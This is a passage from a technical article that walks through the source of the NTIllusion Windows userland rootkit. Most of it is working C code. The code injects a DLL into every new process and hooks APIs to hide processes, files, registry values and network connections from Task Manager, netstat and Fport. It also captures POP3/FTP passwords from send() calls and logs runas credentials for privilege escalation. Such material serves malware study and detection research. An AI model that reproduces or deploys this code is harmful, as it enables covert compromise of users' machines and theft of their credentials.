programs. This is the case of windows cmd, netstat, and so on. Thereby,
the rootkit must also affect processes so that it will be notified and
injected when a process creation is about to be done. This is achieved by
hooking the CreateProcessW function into all injected processes. This way,
the rootkit will be running inside any newly created process. The
CreateProcessW replacement and the system hook are complementary methods.
This combination perfectly covers all situations : the execution of a
graphical or console process from explorer, the taskmanager or any other
application. It also has the advantage to inject the rootkit into the
taskmanager when the user triggers Ctrl+Alt+Del. In this case, the
taskmanager is created by winlogon which isn't hijacked by the rootkit.
But the system hook is injected into as soon as it is created, since it is
a graphical process. To prevent a process from being injected twice, the
rootkit modifies pDosHeader->e_csum to be equal to NTI_SIGNATURE. When the
Dll is loaded it first checks the presence of this signature and exits
properly if needed. This is only a safety since a check is performed in
DllMain to be sure that the reason DllMain is called matches
DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped
inside the memory space of the application, while subsequent calls to
LoadLibrary will only increase load counter for this module and be marked
as DLL_THREAD_ATTACH.
The following code is the CreateProcessW replacement of the NTIllusion
rootkit. It contains a backdoor by design: if the application name or its
command line contains RTK_FILE_CHAR, the process is not hooked, thus
allowing some programs not to be tricked by the rootkit. This is useful to
launch hidden processes from windows shell that performs a search before
delegating the creation of the process to CreateProcessW.
---------------------- EXAMPLE 1 -----------------------------
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
int bResult, bInject=1;
char msg[1024], cmdline[256], appname[256];
/* Resolve CreateProcessW function address if it hasn't been filled
by IAT hijack. This happens when the function isn't imported at IAT
level but resolved at runtime using GetProcAddresss. */
if(!fCreateProcessW)
{
fCreateProcessW = (FARPROC)
fGetProcAddress(GetModuleHandle("kernel32.dll"),
"CreateProcessW");
if(!fCreateProcessW) return 0;
}
/* Clear parameters */
my_memset(msg, 0, 1024);
my_memset(cmdline, 0, 256);
my_memset(appname, 0, 256);
/* Convert application name and command line from unicode : */
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
lpApplicationName, -1, appname, 255,NULL, NULL);
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
lpCommandLine, -1, cmdline, 255,NULL, NULL);
/* Call original function first, in suspended mode */
bResult = (int) fCreateProcessW((const unsigned short *)
lpApplicationName,
(unsigned short *)lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED
/*dwCreationFlags*/, lpEnvironment,
(const unsigned short*)lpCurrentDirectory,
(struct _STARTUPINFOW *)lpStartupInfo,
lpProcessInformation);
/* inject the created process if its name & command line don't
contain RTK_FILE_CHAR */
if(bResult)
{
if(
(lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) ||
(lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR))
)
{
OutputString("\n[i] CreateProcessW: Giving true sight to
process '%s'...\n", (char*)appname);
WakeUpProcess(lpProcessInformation->dwProcessId);
bInject = 0;
}
if(bInject)
InjectDll(lpProcessInformation->hProcess,
(char*)kNTIDllPath);
CloseHandle(lpProcessInformation->hProcess);
CloseHandle(lpProcessInformation->hThread);
}
return bResult;
}
---------------------- END EXAMPLE 1 -----------------------------
Note that the child process is created in suspended mode, then injected by
the Dll using CreateRemoteThread. The DLL hook function next wakes the
current process up by resuming all its threads. This assures that the
process has not executed a single line of its own code during the hijack
time.
-------[ 3.5 Local application take over
Being injected into all processes in the system is the first step to take
the ownership of user land. When being able to act anywhere, it must keep
its control and prevent any newly loaded module to escape the function
hooking that has been set in order to hide unwanted things. So it is
strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook
modules as soon as they are loaded into memory. The following function
demonstrates how to replace LoadLibraryA in order to prevent hooking
escape.
---------------------- EXAMPLE 2 -----------------------------
/* LoadLibrary : prevent a process from escaping hijack by loading a new
dll and calling one of its functions */
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
HMODULE hMod = NULL; /* DLL handle (by GetModuleHandle) */
char *lDll = NULL; /* dll path in lower case */
/* get module handle */
hMod = GetModuleHandle(lpLibFileName);
/* Load module */
hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);
/* Everything went ok? */
if(hInst)
{
/* If the DLL was already loaded, don't set hooks a second
time */
if(hMod==NULL)
{
/* Duplicate Dll path to perform lower case comparison*/
lDll = _strdup( (char*)lpLibFileName );
if(!lDll)
goto end;
/* Convert it to lower case */
_strlwr(lDll);
/* Call hook function */
SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);
free(lDll);
}
}
end:
return hInst;
}
---------------------- END EXAMPLE 2 -----------------------------
As the hijacking method used is entry point rewriting, we must check that
the DLL has not been yet loaded before performing the hooking. Otherwise,
this may trigger an infinite loop when calling the original function. The
job is partially done by SetUpHooks that will perform the hooking on
already loaded module only at program startup.
About GetProcAddress:
At first NTillusion rootkit was using an IAT hijacking method in order to
replace file, process, registry and network APIs to perform its stealth.
Under winXP, all worked perfectly. But when I tested it under win2000 I
noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't
fill the IAT correctly for a few functions such as CreateProcessW, so the
address written doesn't always correspond to the API entry point
[EXPLORIAT]. Scanning the IAT looking for API name instead of it's address
does not solve the problem. It seems that explorer is performing something
strange... So I moved from an IAT hijacking engine needing to hook
GetProcAddress in order to prevent hook escape, to the unconditional jump
insertion that does not need to filter calls to this API. Anyway, you can
try to hijack GetProcAddress and send the details of each call to debug
output. The amount of GetProcAddress calls performed by explorer is
amazing and its study, instructive.
-------[ 4. Replacement functions
Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core
of the replacement functions.
-------[ 4.1. Process hiding
The main target when speaking about process hiding is the taskmanager.
Studying its Import Table reveals that it performs direct calls to
ntdll.NtQuerySystemInformation, so this time, hijacking API at higher
level is useless and the situation leaves no choice. The role of the
replacement function is to hide the presence of each process whose image
name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is
done through a call to the [NtQuerySystemInformation] API.
NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
The NtQuerySystemInformation function retrieves various kinds of system
information. When specifying SystemInformationClass to be equal to
SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_
INFORMATION structures, one for each process running in the system. These
structures contain information about the resource usage of each process,
including the number of handles used by the process, the peak page-file
usage, and the number of memory pages that the process has allocated, as
described in the MSDN. The function returns an array of
SYSTEM_PROCESS_INFORMATION structures though the SystemInformation
parameter.
Each structure has the following layout:
typedef struct _SYSTEM_PROCESS_INFORMATION
{
DWORD NextEntryDelta;
DWORD dThreadCount;
DWORD dReserved01;
DWORD dReserved02;
DWORD dReserved03;
DWORD dReserved04;
DWORD dReserved05;
DWORD dReserved06;
FILETIME ftCreateTime; /* relative to 01-01-1601 */
FILETIME ftUserTime; /* 100 nsec units */
FILETIME ftKernelTime; /* 100 nsec units */
UNICODE_STRING ProcessName;
DWORD BasePriority;
DWORD dUniqueProcessId;
DWORD dParentProcessID;
DWORD dHandleCount;
DWORD dReserved07;
DWORD dReserved08;
DWORD VmCounters;
DWORD dCommitCharge;
SYSTEM_THREAD_INFORMATION ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
Hiding a process is possible by playing with the NextEntryDelta member of
the structure, which represents an offset to the next SYSTEM_PROCESS_
INFORMATION entry. The end of the list is marked by a NextEntryDelta equal
to zero.
---------------------- EXAMPLE 3 -----------------------------
/* MyNtQuerySystemInformation : install a hook at system query
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
PULONG ReturnLength)
{
PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
char *pname = NULL;
DWORD rc;
/* 1st of all, get the return value of the function */
rc = fNtQuerySystemInformation(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);
/* if sucessful, perform sorting */
if (rc == STATUS_SUCCESS)
{
/* system info */
switch (SystemInformationClass)
{
/* process list */
case SystemProcessInformation:
pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
SystemInformation;
while (1)
{
/* alloc memory to save process name in AINSI
8bits string charset */
pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
pSpiCurrent->ProcessName.Length + 2);
/* Convert unicode string to ainsi */
WideCharToMultiByte(CP_ACP, 0,
pSpiCurrent->ProcessName.Buffer,
pSpiCurrent->ProcessName.Length + 1,
pname, pSpiCurrent->ProcessName.Length + 1,
NULL, NULL);
/* if "hidden" process*/
if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
strlen(RTK_PROCESS_CHAR)))
{
/* First process */
if (pSpiCurrent->NextEntryDelta == 0)
{
pSpiPrec->NextEntryDelta = 0;
break;
}
else
{
pSpiPrec->NextEntryDelta +=
pSpiCurrent->NextEntryDelta;
pSpiCurrent =
(PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
pSpiCurrent +
pSpiCurrent->NextEntryDelta);
}
}
else
{
if (pSpiCurrent->NextEntryDelta == 0) break;
pSpiPrec = pSpiCurrent;
/* Walk the list */
pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
((PCHAR) pSpiCurrent +
pSpiCurrent->NextEntryDelta);
}
GlobalFree(pname);
} /* /while */
break;
} /* /switch */
} /* /if */
return (rc);
}
---------------------- END EXAMPLE 3 -----------------------------
Previously I said that targeting NtQuerySystemInformation was the only
solution. This is not entirely true. It's contrariwise sure that hooking
Process32First/Next won't help but it's still possible to do otherwise.
At first I chose to hook SendMessage, therefore hiding at ListBox control
level. This is a very specific approach to the problem and is
undocumented. Spying the behavior of the taskmanager on process creation
with Spy++ shows that it uses the row telling about system idling process
and changes its name to show the newly created process by sending a
LVM_SETITEMTEXT message. So, first it overwrites the content of this
ListBox item's line, and then add a new "Idle process" line by sending a
LVM_INSERTITEMW message. Filtering these two types of message let us
control what the taskmanager shows. Not very professional but efficient.
The following function replaces SendMessageW inside the task manager to
prevent the program to send messages related to hidden process.
---------------------- EXAMPLE 4 -----------------------------
/* MySendMessageW : install a hook at display level (that is to say at
ListBox level) to prevent _* processes from being shown */
LRESULT WINAPI MySendMessageW(
HWND hWnd, /* handle of destination window */
UINT Msg, /* message to send */
WPARAM wParam, /* first message parameter */
LPARAM lParam) /* second message parameter */
{
LPLVITEM pit; /* simple pointer to a LVITEM structure */
/* Filter events */
if( Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
Msg==LVM_SETITEMTEXTW )
{
/* If process name starts by '_', hide it*/
if( ((char)(pit->pszText))=='_' )
{
hWnd=Msg=wParam=lParam=NULL;
return 0;
}
}
/* in the other case, just call the genuine function */
return fSendMessageW(hWnd,Msg,wParam,lParam);
}
---------------------- END EXAMPLE 1 -----------------------------
This very high level hook does the job but it will only work for
taskmgr.exe.
-------[ 4.2. File hiding
Another frequently asked question is how to hide files. As explained
above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from
far sufficient to defeat explorer view, the dir command, and all dialog
boxes provided by the Common Controls.
According the [MSDN] the FindFirstFile function searches a directory for a
file or subdirectory whose name matches the specified name.
HANDLE FindFirstFile(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData
);
The function takes two parameters. A null-terminated string that specifies
a valid directory or path and file name, which can contain wildcard
characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA
structure that receives information about the found file or subdirectory.
If the function succeeds, the return value is a search handle used in a
subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE.
The FindFirstFile function is called to begin a file search. If it
succeed, the search may be pursued by calling FindNextFile.
BOOL FindNextFile(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
);
The hFindFile parameter is a handle returned by a previous call to
FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData
points to a the WIN32_FIND_DATA structure that receives information about
the found file or subdirectory. The structure can be used in subsequent
calls to FindNextFile to see the found file or directory. The function
succeeds if it returns nonzero.
Let's have a look at the WIN32_FIND_DATA structure. The important member
is cFileName which is a null-terminated string that specifies the name of
the file.
typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[MAX_PATH]; /* full file name */
TCHAR cAlternateFileName[14]; /* file name in the classic 8.3
(filename.ext) file name format. */
} WIN32_FIND_DATA,
*PWIN32_FIND_DATA;
To perform a directory listing, an application calls FindFirstFile, and
then calls FindNextFile using the returned handle, until it returns zero.
The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly
except that the Wide version performs calls to WideCharToMultiByte, in
order to convert unicode strings to ainsi.
---------------------- EXAMPLE 5 -----------------------------
/* MyFindFirstFileA : hides protected files from file listing
(error checks stripped)*/
HANDLE WINAPI MyFindFirstFileA(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData)
{
HANDLE hret= (HANDLE)1000; /* return handle */
int go_on=1; /* loop flag */
/* Process request */
hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);
/* Then filter: while we get a 'hidden file', we loop */
while( go_on &&
!_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR)))
{
go_on = fFindNextFileA(hret, lpFindFileData);
}
/* Oops, no more files? */
if(!go_on)
return INVALID_HANDLE_VALUE;
return hret;
}
---------------------- END EXAMPLE 5 -----------------------------
And now let's replace FindNextFileA:
---------------------- EXAMPLE 6 -----------------------------
/* MyFindNextFileA : hides protected files from being listed */
BOOL WINAPI MyFindNextFileA(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
)
{
BOOL ret; /* return value */
/* While we get a file that should not be shown, we get another : */
do
{
ret = fFindNextFileA(hFindFile, lpFindFileData);
} while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR)) && ret!=0);
/* We're out of the loop so we may check if we broke because there
is no more files. If it's the case, we may clear the
LPWIN32_FIND_DATA structure as this :
my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
*/
return ret;
}
---------------------- END EXAMPLE 6 -----------------------------
-------[ 4.3. Registry
Preventing its launch source from being detected is also an unavoidable
feature for this kind of rootkit. To allow registry stealth, the rootkit
replaces the RegEnumValueW API inside the memory space of all processes.
The working mode of the new function is simple : if it detects itself
listing the content of a key that must be hidden, it returns 1 which
traduces an error. The only problem with this implementation is that the
calling process will stop asking for the listing of the content of the
registry key. Therefore, it will also hide subsequent keys. As the keys
are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing
that the key is hidden must be starting by a character of high ASCII code
so that it will be retrieved last and won't bother.
---------------------- EXAMPLE 7 -----------------------------
/* MyRegEnumValue : hide registry keys when a list is requested */
LONG WINAPI MyRegEnumValue(
HKEY hKey,
DWORD dwIndex,
LPWSTR lpValueName,
LPDWORD lpcValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData)
{
LONG lRet; /* return value */
char buf[256];
/* Call genuine API, then process to hiding if needed */
lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName,
lpReserved, lpType, lpData,lpcbData);
/* Convert string from Unicode */
WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);
/* If the key must be hidden... */
if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
lRet=1; /* then return 1 (error) */
}
return lRet;
}
---------------------- END EXAMPLE 7 -----------------------------
-------[ 4.4. Netstat like tools.
Network statistics tools are from far the most vicious. There's a lot of
ways to request the list of TCP/UDP used ports and the behavior of the
same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of
windows to another. This is especially true between NT/2000 and XP where
the network statistics start to include the process identifier of the
owner of each TCP connection. Whatever the way a process obtains these
statistics, some dialog has to be established with the TCP/UDP driver
sitting at kernel level (\Device\Tcp and \Device\Udp). This consists in
calls to DeviceIoControl to establish a request and receive the answer of
the driver. Hooking at this level is possible but from far risky and
nightmarish, since the structures and control codes used are undocumented
and change between windows versions. So the hooking has to be performed at
different level, depending on the quality of the requested information and
OS version.
As the rootkit must run under 2000 and XP, we have to consider different
cases.
-------[ 4.4.1. The case of windows 2000
Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that
associates a process identifier with a TCP stream does not exist yet, so
information provided by the API doesn't include this reference.
-------[ 4.4.1.1. Hooking GetTcpTable
The TCP statistics may officially be obtained by a call to GetTcpTable,
which retrieves the TCP connection table (MIB_TCPTABLE).
DWORD GetTcpTable(
PMIB_TCPTABLE pTcpTable,
PDWORD pdwSize,
BOOL border
);
The functions takes three parameters. The last one, border, decides
whether the connection table should be sorted. Then, PdwSize specifies the
size of the buffer pointer by the pTcpTable parameter on input. On output,
if the buffer is not large enough to hold the returned connection table,
the function sets this parameter equal to the required buffer size.
Finally, pTcpTable points to a buffer that receives the TCP connection
table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection
table is available online. [GETTCP]
The MIB_TCPTABLE structure contains a table of TCP connections.
typedef struct _MIB_TCPTABLE {
DWORD dwNumEntries;
MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;
table is a pointer to a table of TCP connections implemented as an array
of MIB_TCPROW structures, one for each connection.
A MIB_TCPROW stands as follows:
typedef struct _MIB_TCPROW {
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;
While the dwState describes the state of a given connection, dwLocalAddr,
dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and
destination of the connection. We're interested in dwLocalPort and
dwRemotePort to determine if the port belongs to the secret range (between
RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden.
To hide a row in TCP table if needed, the MyGetTcpTable function shifts
the whole array, thus overwriting the unwanted memory zone.
---------------------- EXAMPLE 8 -----------------------------
/* MyGetTcpTable replacement for GetTcpTable.
(error checks stripped)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
bOrder)
{
u_long LocalPort=0; /* remote port on local machine endianness*/
u_long RemotePort=0; /* local port on local machine endianness */
DWORD dwRetVal=0, numRows=0; /* counters */
int i,j;
/*Call original function, if no error, strip unwanted MIB_TCPROWs*/
dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
if(dwRetVal == NO_ERROR)
{
/* for each row, test if it must be stripped */
for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
{
LocalPort = (u_short) fhtons((u_short)
(pTcpTable)->table[i].dwLocalPort);
RemotePort = (u_short) fhtons((u_short)
(pTcpTable)->table[i].dwRemotePort);
/* If row must be filtered */
if( IsHidden(LocalPort, RemotePort) )
{
/* Shift whole array */
for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
memcpy( &(pTcpTable->table[i]),
&(pTcpTable->table[i+1]),
sizeof(MIB_TCPROW_));
/* Erase last row */
memset( &(pTcpTable->table[j]),
0x00, sizeof(MIB_TCPROW_));
/* Reduce array size */
(*pdwSize)-= sizeof(MIB_TCPROW_);
(pTcpTable->dwNumEntries)--;
}
}
}
return dwRetVal;
}
---------------------- END EXAMPLE 8 -----------------------------
Calling GetTcpTable is not the only way to get network statistics under
windows 2000. Some programs, such as fport even provide the correspondence
stream/pid and therefore deal directly with the TCP driver through the
DeviceIoControl function. Hijacking this API is not a good idea as I
explained before. In consequence, the approach I adopted is to target
specific functions used by widespread security tools rather than hooking a
level lower by replacing DeviceIoControl.
-------[ 4.4.1.2. Defeating netstat
In this version of windows, fport isn't the only one that deals directly
with the TCP/UDP driver. This is also the case of netstat. To defeat these
programs, we just have to replace functions that are involved in network
statistic processing from DeviceIoControl call to screen output.
With netstat, the idea is to hook the CharToOemBuffA API that is used to
perform characters set translations for each line before it is written to
console output.
BOOL CharToOemBuff(
LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
translate. */
LPSTR lpszDst, /* Pointer to the buffer for the translated
string. */
DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);
If the rootkit notices itself being translating a string containing a
hidden port, it just calls the function with a blank buffer, so the
translation will result in a blank buffer, and output won't show anything.
---------------------- EXAMPLE 9 -----------------------------
/* MyCharToOemBuffA : replace the function used by nestat to convert
strings to a different charset before it sends it to output, so we can get
rid of some awkward lines... :)
*/
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
/* If the line contains our port range, we simply get rid of
it. */
if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
{
/* We call the function, providing a blank string */
return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
}
return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}
---------------------- END EXAMPLE 9 -----------------------------
As netstat calls the function for each line it writes, there is not
problem in avoiding whole ones.
-------[ 4.4.1.2. Defeating Fport
However, this is not the case of Fport, which processes output character
by character. I chose to hook the WriteFile API, and set up a buffer
mechanism so output is done line by line, and hiding therefore simpler.
---------------------- EXAMPLE 10 -----------------------------
/* Convert FPORT.exe's output mode from char by char to line by line to
allow hiding of lines containing ports to hide
*/
BOOL WINAPI MyWriteFile(
HANDLE hFile, /* handle to file to write to */
LPCVOID lpBuffer, /* pointer to data to write to file */
DWORD nNumberOfBytesToWrite, /* number of bytes to write */
LPDWORD lpNumberOfBytesWritten, /* pointer to number of bytes written*/
LPOVERLAPPED lpOverlapped /* pointer to structure for overlapped
) I/O*/
{
BOOL bret=TRUE; /* Return value */
char* chr = (char*)lpBuffer;
static DWORD total_len=0; /* static length counter */
static char PreviousChars[2048*10]; /* static characters' buffer
(bof?) */
/* Add the new character */
PreviousChars[total_len++] = chr[0];
/* Check for line termination */
if(chr[0] == '\r')
{
PreviousChars[total_len] = '\n';
PreviousChars[++total_len] = '\0';
/* show this line only if it contains no hidden port / process
prefix */
if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL
&& strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)
{
/* Valid line, so process output */
bret = fWriteFile(hFile, (void*)PreviousChars,
strlen((char*)PreviousChars),
lpNumberOfBytesWritten,
lpOverlapped);
}
/* Clear settings */
memset(PreviousChars, 0, 2048);
total_len= 0;
}
/* fakes the var, so fport can't see output wasn't done */
(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;
return bret;
}
---------------------- END EXAMPLE 10 -----------------------------
-------[ 4.4.2. The case of windows XP
Under windows XP programs have not to deal with hell by interacting
directly the TCP/UDP driver as the windows API provides sufficient
statistics. Thus, the most widespread network tools (netstat, Fport,
Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on
the classic GetTcpTable depending on the needs. So, to cover the problem
under windows XP, the rootkit has just to replace the AllocateAndGetTcpEx
TableFromStack API. Searching the msdn about this functions is useless.
This is an undocumented function. However it exists some useful samples on
the web such as [NETSTATP] provided by SysInternals that are quite
explicit. The AllocateAndGetTcpExTableFromStack function takes the
following parameters.
DWORD AllocateAndGetTcpExTableFromStack(
PMIB_TCPEXTABLE *pTcpTable, /* buffer for the connection table */
BOOL bOrder, /* sort the table? */
HANDLE heap, /* handle to process heap obtained by
calling GetProcessHeap() */
DWORD zero, /* undocumented */
DWORD flags /* undocumented */
)
The first parameter is the one interesting. It points to a MIB_TCPEXTABLE
structure, that stands for PMIB_TCPTABLE extended, looking as follows.
/* Undocumented extended information structures available
only on XP and higher */
typedef struct {
DWORD dwState; /* state of the connection */
DWORD dwLocalAddr; /* address on local computer */
DWORD dwLocalPort; /* port number on local computer */
DWORD dwRemoteAddr; /* address on remote computer */
DWORD dwRemotePort; /* port number on remote computer */
DWORD dwProcessId; /* process identifier */
} MIB_TCPEXROW, *PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;
This is the same as the structures employed to work with GetTcpTable, so
the replacement function's job will be somewhat identical.
---------------------- EXAMPLE 11 -----------------------------
/*
AllocateAndGetTcpExTableFromStack replacement. (error checks
stripped)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
PMIB_TCPEXTABLEE *pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
)
{
/* error handler, TcpTable walk index, TcpTable sort index */
DWORD err=0, i=0, j=0;
char psname[512]; /* process name */
u_long LocalPort=0, RemotePort=0; /* local & remote port */
/* Call genuine function ... */
err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
zero,flags );
/* Exit immediately on error */
if(err)
return err;
/* ... and start to filter unwanted rows. This will hide all
opened/listening/connected/closed/... sockets that belong to
secret range or reside in a secret process
*/
/* for each process... */
for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
{
/* Get process name to filter secret processes' sockets */
GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
(char*)psname);
/* convert from host to TCP/IP network byte order
(which is big-endian)*/
LocalPort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwLocalPort);
RemotePort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwRemotePort);
/* Decide whether to hide row or not */
if( !_strnicmp((char*)psname, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR))
|| IsHidden(LocalPort, RemotePort) )
{
/* Shift whole array*/
for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
memcpy( (&((*pTcpTable)->table[j])),
(&((*pTcpTable)->table[j+1])),
sizeof(MIB_TCPEXROWEx));
/* clear last row */
memset( (&((*pTcpTable)->table[((
(*pTcpTable)->dwNumEntries)-1)])),
0, sizeof(MIB_TCPEXROWEx));
/* decrease row number */
((*pTcpTable)->dwNumEntries)-=1;
/* do the job again for the current row, that may also
contain a hidden process */
continue;
}
/* this row was ok, jump to the next */
i++;
}
return err;
}
---------------------- END EXAMPLE 11 -----------------------------
These replacement functions reside in kNTINetHide.c.
-------[ 4.5. Global TCP backdoor / password grabber
As the rootkit is injected in almost every user process, there's a
possibility to set up a global TCP backdoor by hijacking recv and WSARecv,
allowing transforming any application (including a web server), into an
opportune backdoor. This is complicated enough to be a whole project in
itself so I focused on a password grabber virtually able to hijack
passwords sent by any mail client [kSENTINEL]. Currently, it targets at
Outlook and Netscape mail client but may easily be extended to other
applications by playing with the #defines. It dynamically hijacks the TCP
stream when the mail client deals with remote server. Therefore, it allows
to grab USER and PASS commands to be used for later privileges escalation.
---------------------- EXAMPLE 12 -----------------------------
/* POP3 Password grabber. Replaces the send() socket function.
*/
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
int retval=0; /* Return value */
char* packet; /* Temporary buffer */
if(!fSend) /* no one lives for ever (error check) */
return 0;
/* Call original function */
retval = fSend(s, buf, len, flags);
/* packet is a temp buffer used to deal with the buf parameter
that may be in a different memory segment, so we use the
following memcpy trick.
*/
packet = (char*) malloc((len+1) * sizeof(char));
memcpy(packet, buf, len);
/* Check if memory is readable */
if(!IsBadStringPtr(packet, len))
{
/* Filter interesting packets (POP3 protocol) */
if(strstr(packet, "USER") || strstr(packet, "PASS"))
{
/* Interesting packet found! */
/* Write a string to logfile (%user
profile%\NTILLUSION_PASSLOG_FILE) */
Output2LogFile("'%s'\n", packet);
}
}
free(packet);
return retval;
}
---------------------- END EXAMPLE 12 -----------------------------
FTP logins and passwords may also be grabbed by adding the proper
expression in the filter condition.
-------[ 4.6. Privilege escalation
Catching POP3 and FTP passwords may allow spreading on the local machine
since users often use the same password on different accounts. Anyway when
grabbing a password used to login as another user on the machine, there's
no doubt that the password will be efficient. Indeed, the rootkit logs
attempts to impersonate another user from the desktop. This is the case
when the user employs the runas command or selects "the run as user" menu
by right clicking on an executable. The API involved in these situations
are redirected so any successful login is carefully saved on hard disk for
further use.
This is achieved through the replacement of LogonUserA and CreateProcess
WithLogonW.
The runas tool present on windows 2000/XP relies on CreateProcessWith
LogonW. Its replacement follows.
---------------------- EXAMPLE 13 -----------------------------
/* MyCreateProcessWithLogonW : collects logins/passwords employed to
create a process as a user. This Catches runas passwords. (runas
/noprofile /user:MyBox\User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername, /* user name for log in request */
LPCWSTR lpDomain, /* domain name for log in request */
LPCWSTR lpPassword, /* password for log in request */
DWORD dwLogonFlags, /* logon options*/
LPCWSTR lpApplicationName, /* application name... */
LPWSTR lpCommandLine, /* command line */
DWORD dwCreationFlags, /* refer to CreateProcess*/
LPVOID lpEnvironment, /* environment vars*/
LPCWSTR lpCurrentDirectory, /* base directory */
LPSTARTUPINFOW lpStartupInfo, /* startup and process infor, see
CreateProcess */
LPPROCESS_INFORMATION lpProcessInfo)
{
BOOL bret=false; /* Return value */
char line[1024]; /* Buffer used to set up log lines */
/* 1st of all, log on the user */
bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
